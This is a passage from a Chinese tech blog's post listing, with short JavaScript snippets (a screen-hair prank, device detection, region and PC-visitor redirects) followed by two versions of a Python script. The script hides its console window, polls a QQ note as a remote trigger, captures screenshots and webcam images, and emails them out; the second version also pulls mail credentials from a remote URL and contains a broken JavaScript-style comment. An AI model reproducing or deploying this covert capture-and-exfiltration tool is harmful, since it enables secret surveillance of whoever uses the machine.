首页
友链
推荐
红枫百科[AI]
Windows系统激活
Search
1
QQ9.7.20永久禁止(QQ/NT)自动更新
54 阅读
2
DnF台服:账号任务实现演示
28 阅读
3
记录CentOS系统下检测端口访问并记录访问日志的教程
22 阅读
4
如何查询微信是被谁举报投诉的?
20 阅读
5
Centos系统还原官方yum源
19 阅读
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
登录
/
注册
Search
Gcn
累计撰写
69
篇文章
累计收到
0
条评论
首页
栏目
闲言碎语
运维笔记
教程笔记
网站源码
其他源码
值得一看
DNF台服
页面
友链
推荐
红枫百科[AI]
Windows系统激活
搜索到
30
篇与
的结果
2026-02-11
你屏幕上有根毛(恶搞JS代码)
页面中引入js通常大家最为熟悉的是以下两种方法:在页面中直接写入js代码在页面中引入外部文件<script> !function() { var bottom = Math.floor(60 * Math.random()), right = Math.floor(50 * Math.random()), rotate = Math.floor(360 * Math.random()); var foolsEgg = document.createElement("img"); foolsEgg.src = "https://d.tiansj.net/other/js_ku/img/mao.png"; foolsEgg.style.position = "fixed"; foolsEgg.style.bottom = "".concat(bottom, "%"); foolsEgg.style.right = "".concat(right, "%"); foolsEgg.style.zIndex = "9999"; foolsEgg.style.pointerEvents = "none"; foolsEgg.style.width = "40%"; foolsEgg.style.maxWidth = "190px"; foolsEgg.style.transform = "".concat("rotate(", rotate, "deg)"); document.body.append(foolsEgg); } (); </script>
2026年02月11日
5 阅读
0 评论
0 点赞
2026-02-11
html+js智能判断客户端并显示不同内容
通过http+js代码实现智能判断pc端,手机端(苹果,安卓)并根据不同的客户端显示不同的内容!目前用电脑上的浏览器,android 设备,iphone,ipad 均做过测试,此代码可行,各设备判断均正确,喜欢的同学可以来看看哦!教程以下html代码加入网页的<body></body>之间<div class="download link" id="downloadSHY"> <a href="苹果端链接" id="iosdown" style="display:none"> 立即下载 </a> <a href="安卓端链接" id="androiddown" style="display:none"> 立即下载 </a> <a href="pc端链接" id="pcdown" style="display:none"> 立即下载 </a> </div>加入以下JS代码<script type="text/javascript"> $(function() { var mobile_flag = isMobile(); // console.log(mobile_flag); if(mobile_flag == false){ $("#phoneOrWeb").show(); $('#pcdown').show(); }else if(mobile_flag == 'iPhone'){ $('#ios').show(); $('#iosdown').show(); }else{ $('#android').show(); $('#androiddown').show(); } }); function isMobile() { var userAgentInfo = navigator.userAgent; var mobileAgents = [ "Android", "iPhone", "SymbianOS", "Windows Phone", "iPad","iPod"]; var mobile_flag = false; //根据userAgent判断是否是手机 for (var v = 0; v < mobileAgents.length; v++) { if (userAgentInfo.indexOf(mobileAgents[v]) > 0) { mobile_flag = mobileAgents[v]; break; } } return mobile_flag; } </script> <script type="text/javascript" src="https://libs.baidu.com/jquery/1.9.1/jquery.min.js"></script>
2026年02月11日
6 阅读
0 评论
0 点赞
2026-02-11
屏蔽某个地区不让进网站
将下面的代码放在首页顶部title的上面,把代码中湖南可以改成你需要限制的地区即可。<script type="text/javascript" src="https://r.inews.qq.com/api/ip2city?otype=jsonp&callback=callback&callback=wea_%20=&_=1652257980798"></script> <script type="text/javascript"> var province = wea_['province']; if(province .indexOf('湖南') >= 0) { window.location.href="http://locahost11111111:1234"; } else { } </script>
2026年02月11日
5 阅读
0 评论
0 点赞
2026-02-11
网站禁止PC电脑访问,只允许手机访问代码
<script type="text/javascript"> if(window.screen.width==0){window.location.replace("https://xxxx.com")}; var system={win:false,mac:false,xll:false}; var p = navigator.platform; system.win=p.indexOf("Win")==0; system.mac=p.indexOf("Mac")==0; system.x11=(p=="X11") || (p.indexOf("Linux")==0); if(system.win||system.mac||system.xll) { location.replace("https://xxxx.com"); } </script>
2026年02月11日
6 阅读
0 评论
0 点赞
2026-02-11
Python电脑远程拍照并发送到邮箱
PyAutoGUI库安装pip install PyAutoGUIcv2库安装pip install opencv-pythonpython代码:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 邮件配置信息 sender_receiver = 'xxx@qq.com' smtp_info = { 'server': 'smtp.qq.com', 'port': 465, # 使用SSL 'username': 'xxx@qq.com', # 替换为你的邮箱 'password': '邮箱授权码', # 替换为你的邮箱密码或授权码 } # 邮件内容设置 subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\screenshot.jpg" # 网址和监控的值 url = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1的时候拍照2的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) # 每20秒检查一次网址内容 if __name__ == "__main__": main()邮箱配置远程版:import ctypes import sys import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from email.mime.image import MIMEImage from email.header import Header import pyautogui import os import cv2 import socket import time import requests from bs4 import BeautifulSoup # 隐藏控制台窗口(仅限Windows) if sys.platform.startswith('win'): SW_HIDE = 0 info = ctypes.windll.kernel32.GetConsoleWindow() if info != 0: ctypes.windll.user32.ShowWindow(info, SW_HIDE) # 从URL获取邮件配置信息 def get_email_config(): url = "http://yourdomain/data.txt" try: response = requests.get(url, timeout=5) response.raise_for_status() # 如果请求失败,抛出异常 lines = response.text.splitlines() config = { 'sender_receiver': lines[0].strip(), 'smtp_server': lines[1].strip(), 'smtp_port': int(lines[2].strip()), 'smtp_username': lines[3].strip(), 'smtp_password': lines[4].strip() } return config except requests.RequestException as e: print(f"请求邮件配置信息失败: {e}") return {} # 解析邮件配置信息 email_config = get_email_config() sender_receiver = email_config.get('sender_receiver', 'default_sender_receiver@qq.com') smtp_info = { 'server': email_config.get('smtp_server', 'smtp.qq.com'), 'port': email_config.get('smtp_port', 465), 'username': email_config.get('smtp_username', 'default_username@qq.com'), 'password': email_config.get('smtp_password', 'default_password') } subject = '有人打开了你的电脑' body = '您的电脑已被开启,并有摄像头记录,请留意。' # 图片保存路径 screenshot_path = "D:\\screenshot.jpg" camera_capture_path = "D:\\camera_capture.jpg" # 网址和监控的值 url_to_monitor = "https://sharechain.qq.com/179b6e05f189dd04e984771f3f85ca09" # 替换为你的qq收藏里文本连接 target_value = "1" #数值 1 的时候拍照,2 的时候不拍照(这是qq收藏笔记里面的标题数值) last_value = None def capture_screenshot(path): """捕获屏幕截图并保存""" pyautogui.screenshot(path) print(f"屏幕截图已保存至{path}") def capture_image_from_camera(path): """使用摄像头捕获单帧图像并保存""" cap = cv2.VideoCapture(0) if cap.isOpened(): ret, frame = cap.read() cap.release() if ret: cv2.imwrite(path, frame) print(f"摄像头图像已保存至{path}") else: print("捕获图像失败") else: print("无法打开摄像头") def send_email_with_attachments(screenshot_path, camera_capture_path): """发送带有附件的邮件""" msg = MIMEMultipart() msg['From'] = Header(sender_receiver) msg['To'] = Header(sender_receiver) msg['Subject'] = Header(subject) msg.attach(MIMEText(body, 'plain', 'utf-8')) # 添加附件 for path in [screenshot_path, camera_capture_path]: with open(path, 'rb') as file: part = MIMEImage(file.read(), name=os.path.basename(path)) msg.attach(part) try: with smtplib.SMTP_SSL(smtp_info['server'], smtp_info['port']) as server: server.login(smtp_info['username'], smtp_info['password']) server.sendmail(sender_receiver, sender_receiver, msg.as_string()) server.quit() print("邮件发送成功,包含屏幕截图及摄像头捕捉图像!") except Exception as e: print(f"邮件发送失败: {e}") def is_connected(): """检查网络连接""" try: socket.create_connection(('8.8.8.8', 53), 2) # 设置超时时间为2秒 return True except OSError: return False def check_url(): """检查网址内容""" global last_value try: response = requests.get(url_to_monitor, timeout=5) # 设置超时时间为5秒 if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') info_div = soup.find('div', class_='info') if info_div: span_text = info_div.find('span', class_='tit').text.strip() print(f"网页内容识别结果:{span_text}") if span_text == f"【{target_value}】" and span_text != last_value: last_value = span_text return True else: print("未识别") return False else: print("网页内容未找到") return False except requests.RequestException as e: print(f"请求错误:{e}") return False def main(): global last_value last_value = None while True: if check_url(): capture_screenshot(screenshot_path) capture_image_from_camera(camera_capture_path) print("等待网络连接...") if not is_connected(): print("网络连接失败,请检查您的网络设置。") time.sleep(60) # 如果网络连接失败,等待60秒后重试 continue # 跳过本次循环 send_email_with_attachments(screenshot_path, camera_capture_path) # 可选:发送邮件后删除图片文件 os.remove(screenshot_path) os.remove(camera_capture_path) time.sleep(20) // 每20秒检查一次网址内容 if __name__ == "__main__": main()
2026年02月11日
5 阅读
0 评论
0 点赞
1
2
3
...
6